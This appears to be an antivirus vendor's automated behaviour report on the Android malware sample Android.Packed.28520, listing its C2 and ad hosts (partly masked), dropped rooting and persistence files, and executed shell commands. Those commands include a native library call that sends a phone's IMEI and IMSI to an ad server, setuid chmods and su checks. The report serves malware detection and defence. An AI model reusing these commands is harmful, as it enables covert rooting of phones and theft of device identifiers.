Android.Packed.28520

Technical information

Malicious functions:

Executes code of the following detected threats:

Android.HiddenAds.137.origin
Android.Xiny.164.origin
Android.Xiny.166.origin
Android.Xiny.202.origin
Android.Xiny.72.origin
Android.Xiny.73.origin

Network activity:

Connecting to:

UDP(DNS) <Google DNS>
TCP(GCM) <Google Host>
TCP(HTTP/1.1) 45.79.1####.241:80
TCP(HTTP/1.1) www.4g####.net:80
TCP(HTTP/1.1) 45.79.1####.230:80
TCP(HTTP/1.1) 45.79.1####.48:80
TCP(HTTP/1.1) 4####.33.0.176:80
TCP(HTTP/1.1) 4####.33.0.123:80
TCP(HTTP/1.1) int.d####.s####.####.cn:80
TCP(HTTP/1.1) 45.33.1####.75:80
TCP(HTTP/1.1) 45.79.1####.160:80
TCP(HTTP/1.1) www.okyes####.com:8081
TCP(HTTP/1.1) v####.ddf####.com:80
TCP(HTTP/1.1) www.koapk####.com:8081

DNS requests:

int.d####.s####.####.cn
v####.ddf####.com
www.4g####.net
www.koapk####.com
www.okyes####.com

HTTP GET requests:

int.d####.s####.####.cn/iplookup/iplookup.php?format=####

HTTP POST requests:

v####.ddf####.com/api/va
www.4g####.net/ad/adc?gffw=####&frrw=####&dlkvv=####&wdazz=####&fkk9ll=#...
www.koapk####.com:8081/sm/sr/rt/ry
www.koapk####.com:8081/sm/sr/run/hy
www.koapk####.com:8081/sm/sr/sp/py
www.okyes####.com:8081/sdk/nsd.action?b=####

Modified file system:

Creates the following files:

<Package Folder>/app_DEX_OPT/07892501.dex
<Package Folder>/app_DEX_OPT/16904085.dex
<Package Folder>/app_DEX_OPT/19364870.dex
<Package Folder>/app_DEX_OPT/40104195.dex
<Package Folder>/app_DEX_OPT/43353295.dex
<Package Folder>/app_DEX_OPT/46659508.dex
<Package Folder>/app_DEX_OPT/48119181.dex
<Package Folder>/app_DEX_OPT/50711245.dex
<Package Folder>/app_DEX_OPT/68433065.dex
<Package Folder>/app_DEX_OPT/82405408.dex
<Package Folder>/app_DEX_OPT/83868226.dex
<Package Folder>/app_DEX_OPT/95681914.dex
<Package Folder>/com.init.env/####/bugreport_ig4n_radish
<Package Folder>/com.init.env/####/debuggerd_hulu
<Package Folder>/com.init.env/####/elfm
<Package Folder>/com.init.env/####/elfm1501849928270.zip
<Package Folder>/com.init.env/####/forever.sh
<Package Folder>/com.init.env/####/install-recovery.sh
<Package Folder>/com.init.env/####/kcol_ysy
<Package Folder>/com.init.env/####/rmmod_ni4g_hd
<Package Folder>/com.init.env/####/supolicy
<Package Folder>/com.init.env/####/toolbox
<Package Folder>/com.init.env/####/toolbox1501849928480.zip
<Package Folder>/databases/bdownloaders.db-journal
<Package Folder>/databases/easv.data-journal
<Package Folder>/databases/plug.dataBase
<Package Folder>/databases/plug.dataBase-journal
<Package Folder>/databases/rtr.db
<Package Folder>/databases/rtr.db-journal
<Package Folder>/databases/swith1014.db-journal
<Package Folder>/databases/webview.db-journal
<Package Folder>/files/####/07892501.apk
<Package Folder>/files/####/16904085.apk
<Package Folder>/files/####/19364870.apk
<Package Folder>/files/####/40104195.apk
<Package Folder>/files/####/43353295.apk
<Package Folder>/files/####/46659508.apk
<Package Folder>/files/####/48119181.apk
<Package Folder>/files/####/50711245.apk
<Package Folder>/files/####/68433065.apk
<Package Folder>/files/####/82405408.apk
<Package Folder>/files/####/83868226.apk
<Package Folder>/files/####/95681914.apk
<Package Folder>/files/####/N2023.data
<Package Folder>/files/####/N2025.data
<Package Folder>/files/####/N2029.data
<Package Folder>/files/####/N2031.data
<Package Folder>/files/####/N2048.data
<Package Folder>/files/####/N2050.data
<Package Folder>/files/####/N2051.data
<Package Folder>/files/####/N2058.data
<Package Folder>/files/####/env201708291050.data
<Package Folder>/files/####/p_dzwk44.data
<Package Folder>/files/####/rs23.data
<Package Folder>/files/####/rs40.data
<Package Folder>/files/201708081550.apk
<Package Folder>/files/DEAB89CE10FEAA11
<Package Folder>/files/c201708081550.apk
<Package Folder>/filesbb.jar
<Package Folder>/p.dzwk44/####/ZDJsdWEyeGxNekk9
<Package Folder>/p.dzwk44/####/ZDJsdWEyeGxNekk91501849934229.zip
<Package Folder>/p.dzwk44/####/ZGV4ZXoy
<Package Folder>/p.dzwk44/####/ZGV4ZXoy1501849933497.zip
<Package Folder>/p.dzwk44/####/error
<Package Folder>/p.rl23/####/cnVuc2hlbGwy
<Package Folder>/p.rl23/####/cnVuc2hlbGwy1501849928905.zip
<Package Folder>/p.rl23/####/forever.sh
<Package Folder>/p.sr40/####/forever.sh
<Package Folder>/shared_prefs/20160121.xml
<Package Folder>/shared_prefs/20160121.xml.bak
<Package Folder>/shared_prefs/Q2hhbm5lbElES2V5MjAxNjEyMjcxODU3.xml
<Package Folder>/shared_prefs/QURfUk9PVF9TREtfMjAxNzAyMDgxMA.xml
<Package Folder>/shared_prefs/SSP.xml
<Package Folder>/shared_prefs/SSPPrefe.xml
<Package Folder>/shared_prefs/SSPPrefe.xml.bak
<Package Folder>/shared_prefs/ae.xml
<Package Folder>/shared_prefs/local_storage0.xml
<Package Folder>/shared_prefs/local_storage1.xml
<Package Folder>/shared_prefs/sp.xml
<SD-Card>/APPMarket/####/360092909.jpg.tmp
<SD-Card>/test1501849926749

Miscellaneous:

Executes next shell scripts:

.kugua
.kugua -c id
<Package Folder>/lib/libnat-lib20170711.so -pkg <Package> -pid 2075 -svr <Package>/com.game91.davib.keep.ClkService -url http://www.4ginfo.net/ad/adc?ohmamami=ohno&fkk9ll=<IMEI>&cvsds=<IMSI>&frrw=64500&f4rr=00:00:00:00:00:06 -log
c201708081550.apk -c <Package>:feclick
cat /sys/class/net/wlan0/address
chmod 0755 <Package Folder>/com.init.env
chmod 0777 <Package Folder>/com.init.env/files/elfm
chmod 0777 <Package Folder>/com.init.env/files/forever.sh
chmod 0777 <Package Folder>/com.init.env/files/toolbox
chmod 0777 <Package Folder>/p.dz866/files/ODY2ZXhl
chmod 0777 <Package Folder>/p.dz866/files/ZGV4ZXoy
chmod 0777 <Package Folder>/p.dz866/files/error
chmod 0777 <Package Folder>/p.dz868/files/ODY4X2V4
chmod 0777 <Package Folder>/p.dz868/files/ZGV4ZXoy
chmod 0777 <Package Folder>/p.dz868/files/error
chmod 0777 <Package Folder>/p.dzpg48/files/ZDExMDN6
chmod 0777 <Package Folder>/p.dzpg48/files/ZGV4ZXoy
chmod 0777 <Package Folder>/p.dzpg48/files/error
chmod 0777 <Package Folder>/p.dzsd45/files/ZGV4ZXoy
chmod 0777 <Package Folder>/p.dzsd45/files/ZVhWdGFXVXpNZz09
chmod 0777 <Package Folder>/p.dzsd45/files/error
chmod 0777 <Package Folder>/p.dzwk44/files/ZDJsdWEyeGxNekk9
chmod 0777 <Package Folder>/p.dzwk44/files/ZGV4ZXoy
chmod 0777 <Package Folder>/p.dzwk44/files/error
chmod 0777 <Package Folder>/p.rl23/files/cnVuc2hlbGwy
chmod 0777 <Package Folder>/p.rl23/files/forever.sh
chmod 0777 <Package Folder>/p.sr40/files/cnVuc2hlbGwy
chmod 0777 <Package Folder>/p.sr40/files/forever.sh
chmod 6777 <Package Folder>/files/c201708081550.apk
logcat -d -v time
ls -l /system/bin/su
ps
rmmod_ni4g_hd
rmmod_ni4g_hd -c id
sh
sh <Package Folder>/lib/libnat-lib20170711.so -pkg <Package> -pid 2075 -svr <Package>/com.game91.davib.keep.ClkService -url http://www.4ginfo.net/ad/adc?ohmamami=ohno&fkk9ll=<IMEI>&cvsds=<IMSI>&frrw=64500&f4rr=00:00:00:00:00:06 -log

Loads the following dynamic libraries:

com.h5box
hello-jni
nat-lib20170711

Uses the following algorithms to encrypt data:

AES-CBC-PKCS5Padding
DES-CBC-PKCS5Padding

Uses the following algorithms to decrypt data:

AES-CBC-PKCS5Padding
DES
DES-CBC-PKCS5Padding
DESede

Gains access to telephone information (number, imei, etc.).

Gains access to information about installed applications.

Adds tasks to the system scheduler.

Displays its own windows over windows of other applications.

Technologies

Terminology

Training and education

Myths

Technical information

Curing recommendations

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